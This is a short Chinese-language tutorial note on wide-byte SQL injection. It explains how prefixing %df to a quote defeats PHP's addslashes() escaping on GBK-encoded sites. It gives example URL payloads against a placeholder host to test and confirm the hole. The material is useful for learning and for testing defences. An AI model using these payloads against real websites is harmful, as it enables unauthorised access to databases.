宽字符注入:
由于$_GET[‘ID’]
用addslashes()
函数过滤了,直接输入单引号会被\’
转义,所以用%df
双字节会被识别为汉字,进而绕过了转义。
php代码:
$id=addslashes($_GET[‘id’]);
//进行了转义
例子:
1.http://xxxx.com/xx.php?id=1’ 或 and 1=2 或则 order by 100返回的都是正常页面
以上测试返回都是正常页面,判断有可能被转义了,进行宽字符注入测试
http://xxxx.com/xx.php?id=1%df’ 返回错误页面
输入%df'
网站页面报错,说明该网站存在宽字符注入漏洞。
http://xxxx.com/xx.php?id=1%df’ and 1=1 %23返回正常页面,注意用#注释掉后面的语句
http://xxxx.com/xx.php?id=1%df’ and 1=2 %23 返回错误页面。